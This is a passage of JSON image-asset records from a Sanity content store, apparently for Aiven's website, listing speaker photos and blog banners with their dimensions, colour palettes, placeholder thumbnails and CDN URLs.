{"_createdAt":"2023-10-25T11:29:14Z","_id":"image-a1580ea7980dbc413594e2a7b6012a01dccc9227-512x512-jpg","_rev":"tLcgKZL18qfyYELSyh50hk","_type":"sanity.imageAsset","_updatedAt":"2023-10-25T11:29:14Z","assetId":"a1580ea7980dbc413594e2a7b6012a01dccc9227","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eyL#Of%g%$oIVs~qRjt6WVWBs:V@ROWXbu-;s:V@ayaya$WBRjofof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcDBQgG/8QAJhAAAQQCAQIGAwAAAAAAAAAAAQIDBAUAEQYSMQcUITRBUUJhkv/EABcBAQEBAQAAAAAAAAAAAAAAAAEDAgT/xAAeEQACAQQDAQAAAAAAAAAAAAAAARECAwQSFCJBUf/aAAwDAQACEQMRAD8A6UubhqqrnZT+iEDsM8JQeIb8u4balBnyzytDX4DNxzBqFJ45LkuSUpaCSvSj2ORmptIVX0y5iFLZSonSU+u/gYXZTp19DHc0Vu54dGm7rN+8Z/rGRij5XVz4IfaUgJKiClY0QfojGdvFX0nuyYWd9Y28O2EuQroaB6EIOgNfrJ8eQ2VkUsyn9tMpBSlI0N/ZxjM3UpRHHfVmE3U9taw28Uje9DGMYSxg/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d444f","foreground":"#fff","population":1.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d495f","foreground":"#fff","population":0.95,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9d7d70","foreground":"#fff","population":6.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb2cd","foreground":"#000","population":2.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bfe2e8","foreground":"#000","population":6.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d7d70","foreground":"#fff","population":6.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#449cac","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"kevin bowman.jpeg","path":"images/sczeoy4w/production/a1580ea7980dbc413594e2a7b6012a01dccc9227-512x512.jpg","sha1hash":"a1580ea7980dbc413594e2a7b6012a01dccc9227","size":23953,"uploadId":"vWVVdef49cQu9N6A8Jn3DItscQwN7sdc","url":"https://cdn.sanity.io/images/sczeoy4w/production/a1580ea7980dbc413594e2a7b6012a01dccc9227-512x512.jpg"} {"_createdAt":"2024-03-04T13:10:57Z","_id":"image-a15fd5e980638843f95a69ee755a040ecb71110b-1024x1024-jpg","_rev":"415s5m1PTRQajQOv4v0M75","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T13:10:57Z","assetId":"a15fd5e980638843f95a69ee755a040ecb71110b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRE2k5560f~VRjx@NZtQxtIo56%L-oE1t7WUxaR*NGxuIpt7xaM|R+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1024,"width":1024},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcCBgj/xAAmEAABBAECBgIDAAAAAAAAAAACAAEDBBEFBgcSFCEiMTJBUZGx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQME/8QAHREAAgIBBQAAAAAAAAAAAAAAAAECEQMEEiExQf/aAAwDAQACEQMRAD8Aju6dyTvI9OhJ445Scf4qjws4WUNxbYkuWb7HamB2Fgf4P+HUQ23cjl15pwgDIj4xn3Z3XpSjb0XaOwKV+4J1pwjknFwk5HOR/Q4+2WRp40oxNGmxxUNzJD1r6bNYoWCA5KspQ5fu/Z0XIWhs37Mt1poh6k3mw5tnu/2irUPSLUb4MhpsEFmaaLnEwPxw/pY3xqdy89ILViSQY48CxP6RFdpdhbqjlhJ8e3/aIiAP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#475d35","foreground":"#fff","population":5.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#622e1a","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9dbc4","foreground":"#000","population":8.69,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdb9a7","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9dbc4","foreground":"#000","population":8.69,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a16751","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0574a","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bmejias - Boriss Mejias.jpg","path":"images/sczeoy4w/production/a15fd5e980638843f95a69ee755a040ecb71110b-1024x1024.jpg","sha1hash":"a15fd5e980638843f95a69ee755a040ecb71110b","size":997626,"uploadId":"P0UrAhsCtrtiMJYC1Ehf67HhuMdmrbkP","url":"https://cdn.sanity.io/images/sczeoy4w/production/a15fd5e980638843f95a69ee755a040ecb71110b-1024x1024.jpg"} {"_createdAt":"2022-11-16T12:23:03Z","_id":"image-a179bc1a88102dd9ab898047b05c51730b9b2296-468x126-svg","_rev":"bUMlF7B1Xxw34pzcKgex9K","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T12:23:03Z","assetId":"a179bc1a88102dd9ab898047b05c51730b9b2296","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7142857142857144,"height":126,"width":468},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAs0lEQVQYlW3QyUqDUQwF4O/HhQWRokXR0gFbhe7cqBs7UUoH7eCAFPEJxPffSyA/VPBCyMm5yeEkUPj7in+4kr/CCrc4TO4ARzhFJRpv0EYr8z5uop7RxQA7DHGNDnp4wCMaIfiJLV6wxhPmiV8xwyjrEPvCOzY595bcRzr3szc4yRx1DC3Rx126CxchHnys/oxFmpiWgt+4Rw0nuUaIjnGJY1TzRvF/lqvFOSICx0kucP4LY2cSHPUPos8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"PaperLust-logoblk.svg","path":"images/sczeoy4w/production/a179bc1a88102dd9ab898047b05c51730b9b2296-468x126.svg","sha1hash":"a179bc1a88102dd9ab898047b05c51730b9b2296","size":3108,"uploadId":"6QKHDJMR8iyyEvCTxRZWS500aoIm821s","url":"https://cdn.sanity.io/images/sczeoy4w/production/a179bc1a88102dd9ab898047b05c51730b9b2296-468x126.svg"} {"_createdAt":"2022-06-15T20:02:27Z","_id":"image-a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844-png","_rev":"vDQRRYe9nRreptIRp5k9op","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:49Z","assetId":"a18921115172cfbf7a9eef3cff6487d5400123a7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdNd2g?w?ENDxvF3t5RlRnof~UD$M}oORk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADYElEQVQokRXL7W8TdRwA8PtDfKPGxERJICLqcJlxIhEmEzXZJiJiFJ2ACwM1o5u6gWUtzVrYxgY6xpyblrVugNLsoRtr2VL63G697q6P114f7u7Xu67tUKL9fg0vPy8+VDyZa2ciqdEwkzQzkdRUNJ4xxeJZUyTGmzZYzvTYKZ6Y0jwxZfOKSZDKU5mcPPn4eH30SHCNHeNSolGQSmMSKXdR/sDGiM3uZK2L9+V7NofkcAaI108Tnz9M3J514vXRxL7iIrfvzBGr3U9WPBwx37KKesNgvuecOqfTGfLTM38Smo7ERUE2U/4gc9Nmf1BYXFrBZdsD9HhDyLAcRqJpDNAZXFxl8dqoCc+rdagdnMbzV+z42ckebGw8iI2N72BzcwueOfMNTk5MbtJr6wtUMiX8zkZ5kY2kMRLjq1xahFxOATZWAMtqGbQ3WPi83QDHT7bDqY4B+PirX+HNhmNQU7MbXqurg/r6+mrD/v144stW+bdfbsxRIqkYRVKRRFJBkZRBImVMpTdxYZmg9qdNbO0K4eFjF/H4iTY429mLp78dhIYDR2DXizuh9uUXoL72JdhT+wo2v/1WUdfZYaWkQsUoFcoSISUkZBMIKSJNKzgySvDrswVU/cCh4fJf2Nenx74+AxoMV7Cp6QPcvu1ZrN3xFL6x8xnYu+t5bH2voThx8dwiRUjRWCCKVJBklCVSVUQJgh4JLvUSaDtKQNslgeX2BpjNf8Dw8DD09/dDS0sTbH/uaajZ9gTU7XgS3t2zG/XfnVbWrdPzlCKKRkUQREXIY1HIVUtiBqKBLFzXCNB2QILuowTuGjmw3J2HoaEhUKvVcOSjD2Hv66/C+/vq4IvDB6uXf+xA7/yUvBV3zlElLnpTTrBESrIo8zGs5BNYiCfw/lQKdZ9k8cIhAWfHeVy22nBs5CpeG9DjVf0FvH5JjXfGB9BlmUDeM4v/xB1F4N0LVIXxDRRCbm827OVIIhTZyrLMwyzL5AIsc+/nGDOjTjE+S5Kh3Q5mddbMBJZmoknXbEJaX0psRVcT/6WcceTdHPLuIKRd49TDxNqhUizwvRIPakqpUM/fmXDno2xY9YgPqYrhkCrrDKvkMK2qJHyqrZij81/O2Y28pxczHg3ybg3yLg2kXVpIu7oh7fr0f2+1kwykx5C+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40415c","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f1074","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f89b2","foreground":"#fff","population":7.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b29d","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a95f5","foreground":"#fff","population":0.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f89b2","foreground":"#fff","population":7.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5941e4","foreground":"#fff","population":1.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844.png","path":"images/sczeoy4w/production/a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844.png","sha1hash":"a18921115172cfbf7a9eef3cff6487d5400123a7","size":539508,"uploadId":"Sd3jbzaq5uRnjwMdyOYE8jAjo6JMQgzb","url":"https://cdn.sanity.io/images/sczeoy4w/production/a18921115172cfbf7a9eef3cff6487d5400123a7-1567x844.png"} {"_createdAt":"2022-11-21T11:18:34Z","_id":"image-a195373401da70d4cd915d32f729505175f9d8e6-1567x844-jpg","_rev":"YI3rks3mbRtnzMpdo0jDMy","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T11:24:30Z","altText":"Get to know the Aiven API with Postman","assetId":"a195373401da70d4cd915d32f729505175f9d8e6","description":"At Aiven we'd love you to get to know our API, so we created a Postman collection to help you get started.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgUH/8QAHhAAAQUAAgMAAAAAAAAAAAAAAQACAwQhBRExQ2H/xAAXAQADAQAAAAAAAAAAAAAAAAABAgQG/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oADAMBAAIRAxEAPwDirOXoCNjXce0uaAO81Ku8jTsVXRxUhHIdD8xZs3rweEvvStDkTI6+IVUJgf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33385c","foreground":"#fff","population":1.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":60.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":60.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb3d0","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4dc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac846c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf4274","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Make_your_first_Aiven_API_call_with_Postman_blog.jpg","path":"images/sczeoy4w/production/a195373401da70d4cd915d32f729505175f9d8e6-1567x844.jpg","sha1hash":"a195373401da70d4cd915d32f729505175f9d8e6","size":160969,"title":"Get to know the Aiven API with Postman","uploadId":"pc1QyqSH5LGkAIEt6uzuXwZDEk7jlFy0","url":"https://cdn.sanity.io/images/sczeoy4w/production/a195373401da70d4cd915d32f729505175f9d8e6-1567x844.jpg"} {"_createdAt":"2023-04-04T12:35:58Z","_id":"image-a19ece0a4d4704e89d36cf8f0a26504810bee732-1000x1000-jpg","_rev":"t1DqkqeCST00RrkAKExWde","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T16:38:51Z","altText":"Tibs (Tony Ibbs)","assetId":"a19ece0a4d4704e89d36cf8f0a26504810bee732","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ecNvPxM{ys?HNGPpbvs:ozr=#8sTR5RjSgTyofoJW;V@wIt7adM{S3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1000,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAIFBgQH/8QAJxAAAQQBAgYBBQAAAAAAAAAAAQACAwQFESEGBxITFCIxM1FSYZH/xAAYAQACAwAAAAAAAAAAAAAAAAAEBgMFB//EABsRAAMBAAMBAAAAAAAAAAAAAAECAwAEESFB/9oADAMBAAIRAxEAPwDfc0s5ksHiaUWELIrFqQtdM4fTaPkrr4IsOkx8TrWX8uR49myOH9CrebklKfh+u2SVgtMk1jbrufuo8BY6rIYbDJIy1kYb0/tRUowoFGOlFTEu21tmu0THZFO1IO8dERmA3ldOBl6kDbHdd+TtyrWkPHriOD0a3cdOyIlUsez7tIKL55rKnkLD4fd/UQdNSiIr6DEzXs5N5c0F3AH07//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392a27","foreground":"#fff","population":5.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#904b42","foreground":"#fff","population":9.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#904b42","foreground":"#fff","population":9.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca9a8","foreground":"#000","population":1.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8464","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b36c5e","foreground":"#fff","population":1.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3715b","foreground":"#fff","population":8.95,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"tibs.jpg","path":"images/sczeoy4w/production/a19ece0a4d4704e89d36cf8f0a26504810bee732-1000x1000.jpg","sha1hash":"a19ece0a4d4704e89d36cf8f0a26504810bee732","size":703603,"title":null,"uploadId":"38MNSpSge2XeqioQlR1TyVFx6ePsl20g","url":"https://cdn.sanity.io/images/sczeoy4w/production/a19ece0a4d4704e89d36cf8f0a26504810bee732-1000x1000.jpg"} {"_createdAt":"2023-03-28T14:14:40Z","_id":"image-a1a1beb9134dfc1e5bfefcc05ac12a3c5312cbf4-1200x630-jpg","_rev":"M4dczs5irsEQMrhVZgVcca","_type":"sanity.imageAsset","_updatedAt":"2023-03-28T14:14:40Z","assetId":"a1a1beb9134dfc1e5bfefcc05ac12a3c5312cbf4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWPQQ#-TM|S5^+%LRjkCozof~VEMs.xaE1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAwUH/8QAIhAAAgEEAgEFAAAAAAAAAAAAAQIDAAQFEQYhEhQxQWGR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQP/xAAaEQEBAAMBAQAAAAAAAAAAAAABAgADEUFR/9oADAMBAAIRAxEAPwDt+Rucr6yVbczhC/RA61Uc65Le8dwNrLAvnK7BHkI2F6+a2oRq5c7P7VtxBFcwmK4jSSM+6sNiq60mhTuS3RVwzLx+4lw/O3OXwMF3dJ4ytsHQ6P3RT8UaQoI4kVEXoKo0BRTfGlDmGqaiCaep7n//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c44","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c84a6","foreground":"#fff","population":7.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c84a6","foreground":"#fff","population":7.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bacdd2","foreground":"#000","population":1.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91e3f3","foreground":"#000","population":0.28,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#569bb1","foreground":"#fff","population":0.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#11a5de","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"MySQL_Free_plan_page_meta_preview.jpg","path":"images/sczeoy4w/production/a1a1beb9134dfc1e5bfefcc05ac12a3c5312cbf4-1200x630.jpg","sha1hash":"a1a1beb9134dfc1e5bfefcc05ac12a3c5312cbf4","size":33385,"uploadId":"Ziqit8a6y9XDAlEH2ccC2QHdCadwJIxe","url":"https://cdn.sanity.io/images/sczeoy4w/production/a1a1beb9134dfc1e5bfefcc05ac12a3c5312cbf4-1200x630.jpg"} {"_createdAt":"2023-02-27T10:33:23Z","_id":"image-a1a89d438171431eb18c144f277308abcb72e26c-2500x1308-jpg","_rev":"EphXhg9eMZdBOX2kKKshUi","_type":"sanity.imageAsset","_updatedAt":"2023-02-27T10:33:23Z","assetId":"a1a89d438171431eb18c144f277308abcb72e26c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYP6,L.TenIT^+adNHadozs:yYQ-bGt8NH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYEBQf/xAAkEAABAwQBAwUAAAAAAAAAAAACAQMEAAUREkEGByEyUWFxkf/EABcBAAMBAAAAAAAAAAAAAAAAAAABAwT/xAAaEQEAAwEBAQAAAAAAAAAAAAABAAIRBCGR/9oADAMBAAIRAxEAPwDenIE0pRONzSEdsoPCUq9xrzcoNp1gzRYdzhXdcKq+yU+tes/uoF9jsPstI+y24iGipuKLj9p3q2DHIVSr6bKTpKbeZ1hjPTFQn8YIk8bfNFNUcAbZEWxERTgUwlFZXi11vb7LvSb5Qn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3d3e","foreground":"#fff","population":6.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1724","foreground":"#fff","population":0.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3d3e","foreground":"#fff","population":6.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6bba2","foreground":"#000","population":0.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c749c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8aa17","foreground":"#000","population":5,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Henrietta Dombrovskaya_social_media.jpg","path":"images/sczeoy4w/production/a1a89d438171431eb18c144f277308abcb72e26c-2500x1308.jpg","sha1hash":"a1a89d438171431eb18c144f277308abcb72e26c","size":307844,"uploadId":"JVxKpGOohzQumDfrPPQyPWLCN2E7hAi4","url":"https://cdn.sanity.io/images/sczeoy4w/production/a1a89d438171431eb18c144f277308abcb72e26c-2500x1308.jpg"} {"_createdAt":"2022-06-30T20:10:54Z","_id":"image-a1e3a626378ef2b85a3010f268925825e43ef8ab-689x484-jpg","_rev":"QRl2cGoCgj0FlAhkRriRQx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:33Z","assetId":"a1e3a626378ef2b85a3010f268925825e43ef8ab","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VHHc}?{em+}s9]|G-B%0#8-o-nX8Ion%nh$gIVtRtSIV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4235537190082646,"height":484,"width":689},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwT/xAAjEAABBAICAgIDAAAAAAAAAAABAgMEBQARBhITQRQhMVGB/8QAFQEBAQAAAAAAAAAAAAAAAAAABQT/xAAdEQACAgIDAQAAAAAAAAAAAAABAgAEAxEhMVGx/9oADAMBAAIRAxEAPwBNfTule1pwKb8yeyvXX3mVlewmY7qa5zzD6CS3vQzhoojl/GMQOBolJUFH1rHnGIkClS+0tgyHU7KlrAI/gwmtiCqUPsft2durjfI+iSVry5mql/GkxVh3qFH7/eGQvP7BVnyaRJcSElQAAA1oD8YZcauM9iDDO/s//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#554a40","foreground":"#fff","population":8.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#862a0a","foreground":"#fff","population":5.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cec5b8","foreground":"#000","population":9.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec5b8","foreground":"#000","population":9.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb454","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a78751","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d55920","foreground":"#fff","population":8.91,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"a1e3a626378ef2b85a3010f268925825e43ef8ab-689x484.jpg","path":"images/sczeoy4w/production/a1e3a626378ef2b85a3010f268925825e43ef8ab-689x484.jpg","sha1hash":"a1e3a626378ef2b85a3010f268925825e43ef8ab","size":371977,"uploadId":"zZnntAqGwznpulnx5y5hDVwxuCE1Vaac","url":"https://cdn.sanity.io/images/sczeoy4w/production/a1e3a626378ef2b85a3010f268925825e43ef8ab-689x484.jpg"} {"_createdAt":"2023-10-13T08:45:04Z","_id":"image-a1f9afb223fa4f2d35687fa6062cbb4d84e3c709-1200x628-png","_rev":"oVKLF5tNtw07ELMy9jkz6g","_type":"sanity.imageAsset","_updatedAt":"2023-10-13T08:45:04Z","assetId":"a1f9afb223fa4f2d35687fa6062cbb4d84e3c709","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACmklEQVQokRXO21JSCwCAYd5gz4R4GBYLiNaB44IFLDkJ4gEEkThtxF2aBQiImkNFyihhZdZYF13WRTPN9J7/nl7gm8/0YKmBTdpH8ndQtQGKNkQKnKIGR7j1MWroAkm7xOmdILqvEJQpVuU9LmXGhnTGmXxAT2ljSCOs0hUmi20XX7hHMvuK5NqY5PolqfUr0rkZq1sfSec+kVj/RCz7mUDsFrtnhk25YVl+w7mrwW91lV/qNk+lLg5pgmlBbBFJnlJ4fE2xMqNY/cBO/Y5S/Qvb9XsK1W+kc1/QUx9xh99jc8+wK+/IeU+YhvL8DEX47UlyLj9Fkf+C9hbGykt26jdUmrc8bt5Rbd1TbX2jWLsnk7/DZ0wR1Qus8gSH5xotdE1t5ZRp9V++75X4Xqxwp